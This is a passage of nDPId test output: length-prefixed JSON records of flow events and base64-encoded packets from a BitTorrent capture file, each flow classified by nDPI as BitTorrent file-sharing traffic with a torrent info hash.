{"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00541{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469969,"pkt_ts_usec":318758,"pkt_caplen":148,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":148,"pkt_l4_len":114,"pkt":"xCwDBkn+LFbcjDU0CABFYACGozdAADIG1mVT2LjxwKgBA8jVzp9Ja3sH5YtpNoAYECl7XAAAAQEICngbRx8Z2\/fsE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMTg4Qi2qniMLxLorRFP2hZAAAAEAFABkMTplaTBlNA=="} +01337{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469969,"pkt_ts_usec":391655,"pkt_caplen":648,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":648,"pkt_l4_len":614,"pkt":"xCwDBkn+LFbcjDU0CABFYAJ6SOJAADIGLsdT2LjxwKgBA8jVzp9Ja3tZ5YtpNoAYECl87wAAAQEICngbR0YZ2\/gmOmlwdjQ0OlPYuPE0OmlwdjYxNjr+gAAAAAAAAOoGiP\/+zfQTMTI6Y29tcGxldGVfYWdvaTFlMTptZDExOnVwbG9hZF9vbmx5aTNlMTE6bHRfZG9udGhhdmVpN2UxMjp1dF9ob2xlcHVuY2hpNGUxMTp1dF9tZXRhZGF0YWkyZTY6dXRfcGV4aTFlMTA6dXRfY29tbWVudGk2ZWUxMzptZXRhZGF0YV9zaXplaTE5MDA5ZTE6cGk1MTQxM2U0OnJlcXFpMjU1ZTE6djE1Os68VG9ycmVudCAxLjguODI6eXBpNTI4OTVlNjp5b3VyaXA0OlI3zQFlAAAAdAX\/\/3\/\/\/\/\/7\/3\/\/\/\/\/\/\/\/\/\/\/\/\/\/+\/\/\/\/\/b\/\/\/f\/\/\/\/\/\/7\/\/\/\/\/\/\/\/\/9\/\/\/\/7\/\/\/\/\/\/\/99\/\/\/\/\/\/3\/\/97\/v\/\/\/\/\/9\/\/v\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/+\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/f\/\/\/\/\/\/7\/\/\/X\/\/\/\/9\/\/+AAAAABQQAAAG6AAAABQQAAAITAAAABQQAAAHTAAAABQQAAAA1AAAABQQAAAAQAAAABQQAAAHdAAAABQQAAAMaAAAABQQAAAE+AAAABQQAAANHAAAABQQAAAN+AAAABQQAAAIEAAAABQQAAAHOAAAABQQAAAGSAAAABQQAAAC8AAAABQQAAANcAAAABQQAAAGMAAAABQQAAABAAAAABQQAAAFbAAAABQQAAAEBAAAABQQAAACdAAAABQQAAADUAAAABQQAAAC\/AAAABQQAAAKPAAAABQQAAANe"} +00606{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469969,"pkt_ts_usec":391790,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"LFbcjDU0xCwDBkn+CABFAAC41NtAAEAGAADAqAEDU9i48c6fyNXli2mfSWt9n4AYK9\/PHwAAAQEIChnb+G54G0dGaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEyOnV0X3JlY29tbWVuZGk1ZTEwOnV0X2NvbW1lbnRpNmVlMTpwaTQwOTU5ZTQ6cmVxcWkyNTVlMTp2MTk6wrVUb3JyZW50IE1hYyAxLjguNjY6eW91cmlwNDpT2LjxZQAAAAEP"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1455469969441,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.53.228.2","src_port":52896,"dst_port":14627,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469969,"pkt_ts_usec":441455,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4XbBAAEAGAADAqAEDTzXkAs6gOSOymifHI+P1WoAYmwf1TQAAAQEIChnb+J8AAH2QE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1Bjqb8v2rPEXkzqd0="} +00609{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1455469969441,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.53.228.2","src_port":52896,"dst_port":14627,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1455469969441,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"120.62.33.241","src_port":52894,"dst_port":39332,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469969,"pkt_ts_usec":441488,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4duZAAEAGAADAqAEDeD4h8c6emaQxnKbPGdPY9oAYmwdcRQAAAQEIChnb+J8AQ+diE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjsdMZTLXvd5m7DE="} +00611{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1455469969441,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"120.62.33.241","src_port":52894,"dst_port":39332,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00547{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469969,"pkt_ts_usec":680695,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"xCwDBkn+LFbcjDU0CABFAACJEvpAAHcG+5FPNeQCwKgBAzkjzqAj4\/VaspooC4AYAQLEvgAAAQEICgAAfaoZ2\/ifE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC3wovPx6i8m4ev0sHgAAADnFABkMTplaTBlNDppcA=="} +01300{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469969,"pkt_ts_usec":689018,"pkt_caplen":620,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":620,"pkt_l4_len":586,"pkt":"xCwDBkn+LFbcjDU0CABFAAJeEvxAAHcG+bpPNeQCwKgBAzkjzqAj4\/WvspooC4AZAQKoaAAAAQEICgAAfaoZ2\/ifdjQ0Ok815AIxMjpjb21wbGV0ZV9hZ29pNmUxOm1kMTE6dXBsb2FkX29ubHlpM2UxMTpsdF9kb250aGF2ZWk3ZTEyOnV0X2hvbGVwdW5jaGk0ZTExOnV0X21ldGFkYXRhaTJlNjp1dF9wZXhpMWUxMDp1dF9jb21tZW50aTZlZTEzOm1ldGFkYXRhX3NpemVpMTkwMDllMTpwaTE0NjI3ZTQ6cmVxcWkyNTVlMTp2MTU6zrxUb3JyZW50IDMuNC41Mjp5cGk1Mjg5NmU2OnlvdXJpcDQ6UjfNAWUAAAB0Bf\/\/\/\/\/\/\/\/\/\/\/f\/\/\/\/\/\/\/\/\/\/\/\/9\/7\/\/\/\/\/fv\/\/\/\/\/\/f\/\/\/3\/\/\/\/\/9\/7\/\/\/\/\/\/\/v\/\/\/\/\/\/\/\/\/\/\/\/\/v\/+\/\/\/\/9\/\/\/\/\/\/\/\/+\/\/\/9\/\/\/\/f\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8\/\/\/\/\/\/f\/\/\/\/\/\/7\/\/\/\/\/\/f\/\/3\/P\/\/\/\/\/4AAAAAFBAAAA2sAAAAFBAAAAW0AAAAFBAAAAlYAAAAFBAAAAdEAAAAFBAAAAPQAAAAFBAAAAtIAAAAFBAAAAMsAAAAFBAAAAyUAAAAFBAAAAKMAAAAFBAAAAMQAAAAFBAAAAcEAAAAFBAAAAtMAAAAFBAAAAiUAAAAFBAAAAEYAAAAFBAAAAT8AAAAFBAAAAe4AAAAFBAAAAjwAAAAFBAAAAvgAAAAFBAAAA2oAAAAFBAAAA2AAAAAFBAAAAJgAAAAFBAAAATQAAAAFBAAAAQ4AAAAFBAAAA0w="} +00601{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469969,"pkt_ts_usec":689132,"pkt_caplen":195,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":195,"pkt_l4_len":161,"pkt":"LFbcjDU0xCwDBkn+CABFAAC1EEdAAEAGAADAqAEDTzXkAs6gOSOymih3I+P32oAYmvb1igAAAQEIChnb+ZYAAH2qMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEyOnV0X3JlY29tbWVuZGk1ZTEwOnV0X2NvbW1lbnRpNmVlMTpwaTQwOTU5ZTQ6cmVxcWkyNTVlMTp2MTk6wrVUb3JyZW50IE1hYyAxLjguNjY6eW91cmlwNDpPNeQCZQAAAAEP"} +00447{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469969,"pkt_ts_usec":689263,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"LFbcjDU0xCwDBkn+CABFAABC3FpAAEAGAADAqAEDTzXkAs6gOSOymij4I+P32oAZmwf1FwAAAQEIChnb+ZYAAH2qAAAAAwmf\/wAAAAMUAwA="} +00448{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469970,"pkt_ts_usec":170199,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"LFbcjDU0xCwDBkn+CABFAABCmoJAAEAGAADAqAEDU9i48c6fyNXli2ojSWt9n4AYK\/LOqQAAAQEIChnb+3R4G0d8AAAAAwmf\/wAAAAMUAwA="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1455469970233,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"151.26.95.30","src_port":52897,"dst_port":22673,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469970,"pkt_ts_usec":233620,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB45PBAAEAGAADAqAEDlxpfHs6hWJHZNtVIfkyTS4AYJnO4TgAAAQEIChnb+7IRKfdEE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjjCQUdTBqR8vIZE="} +00610{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1455469970233,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"151.26.95.30","src_port":52897,"dst_port":22673,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00582{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469970,"pkt_ts_usec":293627,"pkt_caplen":178,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":178,"pkt_l4_len":144,"pkt":"xCwDBkn+LFbcjDU0CABFAACkCYZAAHIGRuqXGl8ewKgBA1iRzqF+TJNL2TbVjIAYHVxFKAAAAQEIChEp94AZ2\/uyE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC2coXQqpAS87AVXIDwAAADnFABkMTplaTBlNDppcHY0NDqXGl8eMTI6Y29tcGxldGVfYWdvaTFlMQ=="} +01263{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469970,"pkt_ts_usec":357464,"pkt_caplen":593,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":593,"pkt_l4_len":559,"pkt":"xCwDBkn+LFbcjDU0CABFAAJDCYlAAHIGRUiXGl8ewKgBA1iRzqF+TJO72TbVjIAYHVwHogAAAQEIChEp97wZ2\/vsOm1kMTE6dXBsb2FkX29ubHlpM2UxMTpsdF9kb250aGF2ZWk3ZTEyOnV0X2hvbGVwdW5jaGk0ZTExOnV0X21ldGFkYXRhaTJlNjp1dF9wZXhpMWUxMDp1dF9jb21tZW50aTZlZTEzOm1ldGFkYXRhX3NpemVpMTkwMDllMTpwaTIyNjczZTQ6cmVxcWkyNTVlMTp2MTU6zrxUb3JyZW50IDMuNC41Mjp5cGk1Mjg5N2U2OnlvdXJpcDQ6UjfNAWUAAAB0Bf\/\/\/\/\/\/\/\/\/7\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/2\/3\/\/\/\/r\/\/\/\/\/9\/3\/\/\/\/\/9\/+\/\/+\/\/+\/\/\/\/f\/\/\/\/\/\/9\/\/\/\/\/\/\/\/\/\/f\/9\/\/\/\/\/\/\/\/+\/\/\/+\/v\/\/\/7\/\/7\/\/9\/\/\/\/\/\/\/7\/\/\/\/\/\/\/\/\/\/\/v\/\/\/\/\/\/\/\/\/\/\/\/4AAAAAFBAAAAUAAAAAFBAAAAboAAAAFBAAAArkAAAAFBAAAA0EAAAAFBAAAAD0AAAAFBAAAAvsAAAAFBAAAAPwAAAAFBAAAAPMAAAAFBAAAAqcAAAAFBAAAAX0AAAAFBAAAAY8AAAAFBAAAAaEAAAAFBAAAAo0AAAAFBAAAAPAAAAAFBAAAAegAAAAFBAAAAjYAAAAFBAAAARsAAAAFBAAAAm0AAAAFBAAAAoUAAAAFBAAAAUoAAAAFBAAAARkAAAAFBAAAAswAAAAFBAAAAiYAAAAFBAAAAXA="} +00599{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469970,"pkt_ts_usec":357569,"pkt_caplen":191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":191,"pkt_l4_len":157,"pkt":"LFbcjDU0xCwDBkn+CABFAACxx\/1AAEAGAADAqAEDlxpfHs6hWJHZNtX8fkyVyoAYJmO4hwAAAQEIChnb\/CoRKfe8dF9tZXRhZGF0YWkyZTY6dXRfcGV4aTFlMTI6dXRfcmVjb21tZW5kaTVlMTA6dXRfY29tbWVudGk2ZWUxOnBpNDA5NTllNDpyZXFxaTI1NWUxOnYxOTrCtVRvcnJlbnQgTWFjIDEuOC42Njp5b3VyaXA0OpcaXx5lAAAAAQ8="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1455469970452,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.55.129.22","src_port":52893,"dst_port":12097,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469970,"pkt_ts_usec":452512,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB41kZAAEAGAADAqAEDTzeBFs6dL0HtOa3YPhLeWYAYVhCSYwAAAQEIChnb\/IcCXeBSE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1Bjpi3Emqkm5uHs80="} +00610{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1455469970452,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"79.55.129.22","src_port":52893,"dst_port":12097,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00591{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469971,"pkt_ts_usec":153525,"pkt_caplen":185,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":185,"pkt_l4_len":151,"pkt":"LFbcjDU0xCwDBkn+CABFAACrZhpAAEAGAADAqAEDlxpfHs6hWJHZNtZ5fkyVy4AYJnO4gQAAAQEIChnb\/0ERKfrcAAAAAwmf\/wAAAAMUAwAAAABlFAZkODptc2dfdHlwZWkwZTM6bnVtaTIwZTY6ZmlsdGVyNjQ6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGU="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1455469971321,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"198.100.146.9","src_port":52903,"dst_port":60163,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469971,"pkt_ts_usec":321042,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB48HJAAEAGAADAqAEDxmSSCc6n6wMx0mzN3F5zZYAYZooahAAAAQEIChnb\/+QB8nE1E0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjuG56+SlFtqa9S4="} +00611{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":25,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1455469971321,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"198.100.146.9","src_port":52903,"dst_port":60163,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00571{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469971,"pkt_ts_usec":481962,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"xCwDBkn+LFbcjDU0CABFAACcFzZAAHYG0wzGZJIJwKgBA+sDzqfcXnNlMdJtEYAYAQK5ewAAAQEICgHycUYZ2\/\/kE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC3wopccBVvnEHfGIYQAAADnFABkMTplaTBlNDppcHY0NDrGZJIJMTI6Y29tcGxldGU="} +01274{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469971,"pkt_ts_usec":641866,"pkt_caplen":601,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":601,"pkt_l4_len":567,"pkt":"xCwDBkn+LFbcjDU0CABFAAJLGqBAAHYGzfPGZJIJwKgBA+sDzqfcXnPNMdJtEYAYAQJeTwAAAQEICgHycVYZ3ACEX2Fnb2kyZTE6bWQxMTp1cGxvYWRfb25seWkzZTExOmx0X2RvbnRoYXZlaTdlMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEwOnV0X2NvbW1lbnRpNmVlMTM6bWV0YWRhdGFfc2l6ZWkxOTAwOWUxOnBpNjAxNjNlNDpyZXFxaTI1NWUxOnYxNTrOvFRvcnJlbnQgMy40LjUyOnlwaTUyOTAzZTY6eW91cmlwNDpSN80BZQAAAHQF\/\/\/\/\/\/\/f9\/\/\/\/37\/\/7\/\/\/\/\/\/\/3r\/\/\/\/3+\/\/7\/\/\/\/3\/\/9\/\/\/\/\/\/\/\/\/\/\/37\/7\/\/\/\/f\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/v\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/f\/\/\/f\/\/\/\/\/v\/\/\/\/\/\/\/v\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/+\/\/\/\/\/9\/\/\/gAAAAAUEAAAClAAAAAUEAAAAnQAAAAUEAAAAVwAAAAUEAAACuQAAAAUEAAAAUAAAAAUEAAAA8gAAAAUEAAAB4QAAAAUEAAADfAAAAAUEAAABUwAAAAUEAAAAKgAAAAUEAAAANAAAAAUEAAABXwAAAAUEAAAAaQAAAAUEAAAAmAAAAAUEAAACfAAAAAUEAAADWQAAAAUEAAABTAAAAAUEAAABBgAAAAUEAAABegAAAAUEAAAA1QAAAAUEAAAAxQAAAAUEAAAAvAAAAAUEAAAAnwAAAAUEAAAC6Q=="} +00605{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469971,"pkt_ts_usec":641981,"pkt_caplen":196,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":196,"pkt_l4_len":162,"pkt":"LFbcjDU0xCwDBkn+CABFAAC2nnFAAEAGAADAqAEDxmSSCc6n6wMx0m183F515IAYZnkawgAAAQEIChncASMB8nFWZTExOnV0X21ldGFkYXRhaTJlNjp1dF9wZXhpMWUxMjp1dF9yZWNvbW1lbmRpNWUxMDp1dF9jb21tZW50aTZlZTE6cGk0MDk1OWU0OnJlcXFpMjU1ZTE6djE5OsK1VG9ycmVudCBNYWMgMS44LjY2OnlvdXJpcDQ6xmSSCWUAAAABDw=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":29,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1455469971675,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"190.103.195.56","src_port":52902,"dst_port":46633,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469971,"pkt_ts_usec":675839,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4IXFAAEAGAADAqAEDvmfDOM6mtimT1S+nN0acgIAY\/\/9DtgAAAQEIChncAUQAv2TsE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjkGjzZtimXS5YKE="} +00612{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":29,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1455469971675,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"190.103.195.56","src_port":52902,"dst_port":46633,"l4_proto":"tcp","ndpi": 